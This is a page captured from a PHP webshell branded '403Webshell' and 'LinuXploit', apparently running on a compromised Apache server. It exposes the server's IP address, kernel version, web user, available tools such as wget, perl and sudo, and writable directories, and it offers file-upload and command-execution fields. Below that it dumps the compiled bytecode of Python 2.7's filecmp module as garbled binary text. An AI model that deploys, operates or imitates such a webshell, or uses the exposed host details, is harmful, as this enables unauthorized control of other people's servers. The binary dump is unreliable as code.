403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/filecmp.pyc
ó
ÿ–|_c@sÓdZddlZddlZddlmZmZmZmZdddgZiZ	dZ
d	d
„Zd„Zd„Z
ddd
„ƒYZd	d„Zeed„Zd„Zd„ZedkrÏeƒndS(sžUtilities for comparing files and directories.

Classes:
    dircmp

Functions:
    cmp(f1, f2, shallow=1) -> int
    cmpfiles(a, b, common) -> ([], [], [])

iÿÿÿÿN(tifiltertifilterfalsetimaptiziptcmptdircmptcmpfilesiiicCsôttj|ƒƒ}ttj|ƒƒ}|dtjksP|dtjkrTtS|rj||krjtS|d|dkr‚tStj||||fƒ}|dkrðt	||ƒ}t
tƒdkr×tjƒn|t||||f<n|S(s”Compare two files.

    Arguments:

    f1 -- First file name

    f2 -- Second file name

    shallow -- Just check stat signature (do not read the files).
               defaults to 1.

    Return value:

    True if the files are the same, False otherwise.

    This function uses a cache for past comparisons and the results,
    with a cache invalidation mechanism relying on stale signatures.

    iiidN(t_sigtoststattS_IFREGtFalsetTruet_cachetgettNonet_do_cmptlentclear(tf1tf2tshallowts1ts2toutcome((s/usr/lib/python2.7/filecmp.pyRs&
cCstj|jƒ|j|jfS(N(R	tS_IFMTtst_modetst_sizetst_mtime(tst((s/usr/lib/python2.7/filecmp.pyR;sc
Cst}t|dƒd}t|dƒL}xBtrn|j|ƒ}|j|ƒ}||kratS|s-tSq-WWdQXWdQXdS(Ntrb(tBUFSIZEtopenRtreadR(RRtbufsizetfp1tfp2tb1tb2((s/usr/lib/python2.7/filecmp.pyR@s	cBsÈeZdZddd„Zd„Zd„Zd„Zd„Zd„Z	d„Z
d„Zd	„Zd
„Z
ede	ded
edededededededededeƒZd„ZRS(sQA class that manages the comparison of 2 directories.

    dircmp(a,b,ignore=None,hide=None)
      A and B are directories.
      IGNORE is a list of names to ignore,
        defaults to ['RCS', 'CVS', 'tags'].
      HIDE is a list of names to hide,
        defaults to [os.curdir, os.pardir].

    High level usage:
      x = dircmp(dir1, dir2)
      x.report() -> prints a report on the differences between dir1 and dir2
       or
      x.report_partial_closure() -> prints report on differences between dir1
            and dir2, and reports on common immediate subdirectories.
      x.report_full_closure() -> like report_partial_closure,
            but fully recursive.

    Attributes:
     left_list, right_list: The files in dir1 and dir2,
        filtered by hide and ignore.
     common: a list of names in both dir1 and dir2.
     left_only, right_only: names only in dir1, dir2.
     common_dirs: subdirectories in both dir1 and dir2.
     common_files: files in both dir1 and dir2.
     common_funny: names in both dir1 and dir2 where the type differs between
        dir1 and dir2, or the name is not stat-able.
     same_files: list of identical files.
     diff_files: list of filenames which differ.
     funny_files: list of files which could not be compared.
     subdirs: a dictionary of dircmp objects, keyed by names in common_dirs.
     cCsm||_||_|dkr6tjtjg|_n	||_|dkr`dddg|_n	||_dS(NtRCStCVSttags(tlefttrightRRtcurdirtpardirthidetignore(tselftatbR/R.((s/usr/lib/python2.7/filecmp.pyt__init__os			cCsnttj|jƒ|j|jƒ|_ttj|jƒ|j|jƒ|_|jj	ƒ|jj	ƒdS(N(
t_filterRtlistdirR*R.R/t	left_listR+t
right_listtsort(R0((s/usr/lib/python2.7/filecmp.pytphase0{s
cCs»ttttjj|jƒ|jƒƒ}ttttjj|jƒ|jƒƒ}t|j	t
|j|ƒƒ|_t|j	t
|j|ƒƒ|_t|j	t
|j|ƒƒ|_dS(N(tdictRRRtpathtnormcaseR6R7tmapt__getitem__Rt__contains__tcommonRt	left_onlyt
right_only(R0R1R2((s/usr/lib/python2.7/filecmp.pytphase1ƒs
**!!c
Cs}g|_g|_g|_x[|jD]P}tjj|j|ƒ}tjj|j|ƒ}d}ytj	|ƒ}Wntj
k
r’}d}nXytj	|ƒ}Wntj
k
rÄ}d}nX|ret	j|jƒ}t	j|jƒ}	||	kr|jj
|ƒqut	j|ƒr0|jj
|ƒqut	j|ƒrR|jj
|ƒqu|jj
|ƒq%|jj
|ƒq%WdS(Nii(tcommon_dirstcommon_filestcommon_funnyR@RR;tjoinR*R+R	terrorRRtappendtS_ISDIRtS_ISREG(
R0txta_pathtb_pathtokta_stattwhytb_statta_typetb_type((s/usr/lib/python2.7/filecmp.pytphase2Šs4			

cCs7t|j|j|jƒ}|\|_|_|_dS(N(RR*R+REt
same_filest
diff_filestfunny_files(R0txx((s/usr/lib/python2.7/filecmp.pytphase3­scCssi|_xc|jD]X}tjj|j|ƒ}tjj|j|ƒ}t|||j|j	ƒ|j|<qWdS(N(
tsubdirsRDRR;RGR*R+RR/R.(R0RLta_xtb_x((s/usr/lib/python2.7/filecmp.pytphase4±s
	cCs2|jƒx!|jjƒD]}|jƒqWdS(N(R^R[t
itervaluestphase4_closure(R0tsd((s/usr/lib/python2.7/filecmp.pyR`»s
cCs0dG|jG|jGH|jrC|jjƒdG|jGdG|jGHn|jrs|jjƒdG|jGdG|jGHn|jr˜|jjƒdG|jGHn|jr½|jjƒdG|jGHn|jrâ|jjƒdG|jGHn|jr|jjƒdG|jGHn|j	r,|j	jƒdG|j	GHndS(	NtdiffsOnly int:sIdentical files :sDiffering files :sTrouble with common files :sCommon subdirectories :sCommon funny cases :(
R*R+RAR8RBRVRWRXRDRF(R0((s/usr/lib/python2.7/filecmp.pytreportÀs,	
	
	
	
	
	
	
cCs3|jƒx"|jjƒD]}H|jƒqWdS(N(RdR[R_(R0Ra((s/usr/lib/python2.7/filecmp.pytreport_partial_closureÙs
cCs3|jƒx"|jjƒD]}H|jƒqWdS(N(RdR[R_treport_full_closure(R0Ra((s/usr/lib/python2.7/filecmp.pyRfßs
R[RVRWRXRDRERFR@RARBR6R7cCs9||jkrt|‚n|j||ƒt||ƒS(N(t	methodmaptAttributeErrortgetattr(R0tattr((s/usr/lib/python2.7/filecmp.pyt__getattr__ësN(t__name__t
__module__t__doc__RR3R9RCRURZR^R`RdReRfR:RgRk(((s/usr/lib/python2.7/filecmp.pyRMs" 			#		
				cCskgggf}xU|D]M}tjj||ƒ}tjj||ƒ}|t|||ƒj|ƒqW|S(s]Compare common files in two directories.

    a, b -- directory names
    common -- list of file names found in both directories
    shallow -- if true, do comparison based solely on stat() information

    Returns a tuple of three lists:
      files that compare equal
      files that are different
      filenames that aren't regular files.

    (RR;RGt_cmpRI(R1R2R@RtresRLtaxtbx((s/usr/lib/python2.7/filecmp.pyRñs

!cCs7y|||||ƒƒSWntjk
r2dSXdS(Ni(RRH(R1R2tshtabsR((s/usr/lib/python2.7/filecmp.pyRoscCstt|j|ƒƒS(N(tlistRR?(tflisttskip((s/usr/lib/python2.7/filecmp.pyR4scCsœddl}ddl}|j|jddƒ\}}t|ƒdkr^|jddƒ‚nt|d|dƒ}d	|krŽ|jƒn
|jƒdS(
Niÿÿÿÿitrisneed exactly two argsis-rt(s-rRy(	tsystgetopttargvRtGetoptErrorRRRfRd(RzR{toptionstargstdd((s/usr/lib/python2.7/filecmp.pytdemos
t__main__i ((RnRR	t	itertoolsRRRRt__all__R
RRRRRRRtRoR4RRl(((s/usr/lib/python2.7/filecmp.pyt<module>
s "&		
¤			

Youez - 2016 - github.com/yon3zu
LinuXploit